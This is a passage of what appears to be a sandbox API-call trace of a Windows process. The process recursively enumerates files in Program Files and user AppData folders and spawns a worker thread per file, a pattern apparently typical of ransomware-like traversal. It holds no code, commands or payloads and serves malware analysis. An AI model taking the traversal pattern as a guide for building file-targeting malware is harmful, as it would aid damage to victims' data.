ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xbb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Project Server 2010 Accounts.lnk", cAlternateFileName="MIBC23~1.LNK")) returned 1 [0050.782] wcscmp (_String1="Microsoft Project Server 2010 Accounts.lnk", _String2=".") returned 1 [0050.782] wcscmp (_String1="Microsoft Project Server 2010 Accounts.lnk", _String2="..") returned 1 [0050.782] FindNextFileW (in: hFindFile=0x4407e0, lpFindFileData=0x4ba4e0 | out: lpFindFileData=0x4ba4e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc11c60a0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xbb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Project Server 2010 Accounts.lnk", cAlternateFileName="MIBC23~1.LNK")) returned 0 [0050.782] FindClose (in: hFindFile=0x4407e0 | out: hFindFile=0x4407e0) returned 1 [0050.783] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ba4e0) returned 1 [0050.783] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00950) returned 1 [0050.783] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00a20) returned 1 Thread: id = 658 os_tid = 0xb50 [0050.784] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x94) returned 0x4ee518 [0050.784] wcscpy (in: _Dest=0x4ee518, _Source="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" [0050.784] wcscat (in: _Dest=0x4ee518, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\" [0050.784] wcscat (in: _Dest=0x4ee518, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*" [0050.784] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4ba4e0 [0050.784] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", lpFindFileData=0x4ba4e0 | out: lpFindFileData=0x4ba4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440760 [0051.258] wcscmp (_String1=".", _String2=".") returned 0 [0051.258] FindNextFileW (in: hFindFile=0x440760, lpFindFileData=0x4ba4e0 | out: lpFindFileData=0x4ba4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.258] wcscmp (_String1="..", _String2=".") returned 1 [0051.258] wcscmp (_String1="..", _String2="..") returned 0 [0051.258] FindNextFileW (in: hFindFile=0x440760, lpFindFileData=0x4ba4e0 | out: lpFindFileData=0x4ba4e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="enu-dsk", cAlternateFileName="")) returned 1 [0051.258] wcscmp (_String1="enu-dsk", _String2=".") returned 1 [0051.258] wcscmp (_String1="enu-dsk", _String2="..") returned 1 [0051.259] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa0) returned 0x43dc78 [0051.259] wcscpy (in: _Dest=0x43dc78, _Source="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" [0051.259] wcscat (in: _Dest=0x43dc78, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\" [0051.259] wcscat (in: _Dest=0x43dc78, _Source="enu-dsk" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk" [0057.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43dc78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x41c [0057.806] FindNextFileW (in: hFindFile=0x440760, lpFindFileData=0x4ba4e0 | out: lpFindFileData=0x4ba4e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7b89235, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xf7b89235, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9fa0a390, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x43200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSFrontendENU.dll", cAlternateFileName="")) returned 1 [0057.806] wcscmp (_String1="MSTTSFrontendENU.dll", _String2=".") returned 1 [0057.806] wcscmp (_String1="MSTTSFrontendENU.dll", _String2="..") returned 1 [0057.806] FindNextFileW (in: hFindFile=0x440760, lpFindFileData=0x4ba4e0 | out: lpFindFileData=0x4ba4e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2bbb36, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc2bbb36, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 1 [0057.806] wcscmp (_String1="MSTTSLoc.dll.mui", _String2=".") returned 1 [0057.806] wcscmp (_String1="MSTTSLoc.dll.mui", _String2="..") returned 1 [0057.806] FindNextFileW (in: hFindFile=0x440760, lpFindFileData=0x4ba4e0 | out: lpFindFileData=0x4ba4e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2bbb36, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc2bbb36, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 0 [0057.806] FindClose (in: hFindFile=0x440760 | out: hFindFile=0x440760) returned 1 [0057.806] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ba4e0) returned 1 [0057.806] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ee518) returned 1 [0057.806] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4380f8) returned 1 Thread: id = 659 os_tid = 0xb54 [0050.784] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x45f338 [0050.785] wcscpy (in: _Dest=0x45f338, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data" [0050.785] wcscat (in: _Dest=0x45f338, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\" [0050.785] wcscat (in: _Dest=0x45f338, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\*" [0050.785] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4ba748 [0050.785] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\*", lpFindFileData=0x4ba748 | out: lpFindFileData=0x4ba748*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4407a0 [0051.260] wcscmp (_String1=".", _String2=".") returned 0 [0051.260] FindNextFileW (in: hFindFile=0x4407a0, lpFindFileData=0x4ba748 | out: lpFindFileData=0x4ba748*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.260] wcscmp (_String1="..", _String2=".") returned 1 [0051.260] wcscmp (_String1="..", _String2="..") returned 0 [0051.260] FindNextFileW (in: hFindFile=0x4407a0, lpFindFileData=0x4ba748 | out: lpFindFileData=0x4ba748*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CJW3O3KP.BX7", cAlternateFileName="")) returned 1 [0051.260] wcscmp (_String1="CJW3O3KP.BX7", _String2=".") returned 1 [0051.260] wcscmp (_String1="CJW3O3KP.BX7", _String2="..") returned 1 [0051.260] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x4398b8 [0051.260] wcscpy (in: _Dest=0x4398b8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data" [0051.260] wcscat (in: _Dest=0x4398b8, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\" [0051.260] wcscat (in: _Dest=0x4398b8, _Source="CJW3O3KP.BX7" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\Data\\CJW3O3KP.BX7" [0057.810] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4398b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc9c [0057.811] FindNextFileW (in: hFindFile=0x4407a0, lpFindFileData=0x4ba748 | out: lpFindFileData=0x4ba748*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CJW3O3KP.BX7", cAlternateFileName="")) returned 0 [0057.811] FindClose (in: hFindFile=0x4407a0 | out: hFindFile=0x4407a0) returned 1 [0057.811] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ba748) returned 1 [0057.811] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45f338) returned 1 [0057.811] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45e538) returned 1 Thread: id = 660 os_tid = 0xb58 [0050.785] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x417d70 [0050.785] wcscpy (in: _Dest=0x417d70, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX" [0050.785] wcscat (in: _Dest=0x417d70, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\" [0050.786] wcscat (in: _Dest=0x417d70, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\*" [0050.786] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4ba9b0 [0050.786] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\*", lpFindFileData=0x4ba9b0 | out: lpFindFileData=0x4ba9b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4406e0 [0051.259] wcscmp (_String1=".", _String2=".") returned 0 [0051.259] FindNextFileW (in: hFindFile=0x4406e0, lpFindFileData=0x4ba9b0 | out: lpFindFileData=0x4ba9b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.259] wcscmp (_String1="..", _String2=".") returned 1 [0051.259] wcscmp (_String1="..", _String2="..") returned 0 [0051.259] FindNextFileW (in: hFindFile=0x4406e0, lpFindFileData=0x4ba9b0 | out: lpFindFileData=0x4ba9b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="YVORLGOR.PNT", cAlternateFileName="")) returned 1 [0051.259] wcscmp (_String1="YVORLGOR.PNT", _String2=".") returned 1 [0051.259] wcscmp (_String1="YVORLGOR.PNT", _String2="..") returned 1 [0051.259] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9e) returned 0x43dd20 [0051.259] wcscpy (in: _Dest=0x43dd20, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX" [0051.259] wcscat (in: _Dest=0x43dd20, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\" [0051.259] wcscat (in: _Dest=0x43dd20, _Source="YVORLGOR.PNT" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT" [0057.807] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x43dd20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc98 [0057.809] FindNextFileW (in: hFindFile=0x4406e0, lpFindFileData=0x4ba9b0 | out: lpFindFileData=0x4ba9b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="YVORLGOR.PNT", cAlternateFileName="")) returned 0 [0057.809] FindClose (in: hFindFile=0x4406e0 | out: hFindFile=0x4406e0) returned 1 [0057.809] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ba9b0) returned 1 [0057.809] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x417d70) returned 1 [0057.809] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4165d0) returned 1 Thread: id = 661 os_tid = 0xb5c [0050.786] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x417e00 [0050.786] wcscpy (in: _Dest=0x417e00, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0" [0050.786] wcscat (in: _Dest=0x417e00, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\" [0050.786] wcscat (in: _Dest=0x417e00, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\*" [0050.786] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4bac18 [0050.786] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x4bac18 | out: lpFindFileData=0x4bac18*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4407e0 [0050.787] wcscmp (_String1=".", _String2=".") returned 0 [0050.787] FindNextFileW (in: hFindFile=0x4407e0, lpFindFileData=0x4bac18 | out: lpFindFileData=0x4bac18*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.787] wcscmp (_String1="..", _String2=".") returned 1 [0050.787] wcscmp (_String1="..", _String2="..") returned 0 [0050.787] FindNextFileW (in: hFindFile=0x4407e0, lpFindFileData=0x4bac18 | out: lpFindFileData=0x4bac18*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe952fcd0, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x892c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCMapFnt10.lst", cAlternateFileName="ADOBEC~1.LST")) returned 1 [0050.787] wcscmp (_String1="AdobeCMapFnt10.lst", _String2=".") returned 1 [0050.787] wcscmp (_String1="AdobeCMapFnt10.lst", _String2="..") returned 1 [0050.787] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa4) returned 0x442db0 [0050.787] wcscpy (in: _Dest=0x442db0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0" [0050.787] wcscat (in: _Dest=0x442db0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\" [0050.787] wcscat (in: _Dest=0x442db0, _Source="AdobeCMapFnt10.lst" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeCMapFnt10.lst" [0051.604] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x442db0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb88 [0051.604] FindNextFileW (in: hFindFile=0x4407e0, lpFindFileData=0x4bac18 | out: lpFindFileData=0x4bac18*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xd9c071a0, ftLastWriteTime.dwHighDateTime=0x1d2e625, nFileSizeHigh=0x0, nFileSizeLow=0x21cdb, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeSysFnt10.lst", cAlternateFileName="ADOBES~1.LST")) returned 1 [0051.604] wcscmp (_String1="AdobeSysFnt10.lst", _String2=".") returned 1 [0051.604] wcscmp (_String1="AdobeSysFnt10.lst", _String2="..") returned 1 [0051.605] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa2) returned 0x443070 [0051.605] wcscpy (in: _Dest=0x443070, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0" [0051.605] wcscat (in: _Dest=0x443070, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\" [0051.605] wcscat (in: _Dest=0x443070, _Source="AdobeSysFnt10.lst" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\AdobeSysFnt10.lst" [0051.605] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x443070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd80 [0051.606] FindNextFileW (in: hFindFile=0x4407e0, lpFindFileData=0x4bac18 | out: lpFindFileData=0x4bac18*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecb5bdd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xecb5bdd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xecb5bdd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0051.606] wcscmp (_String1="Cache", _String2=".") returned 1 [0051.606] wcscmp (_String1="Cache", _String2="..") returned 1 [0051.606] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x438060 [0051.606] wcscpy (in: _Dest=0x438060, 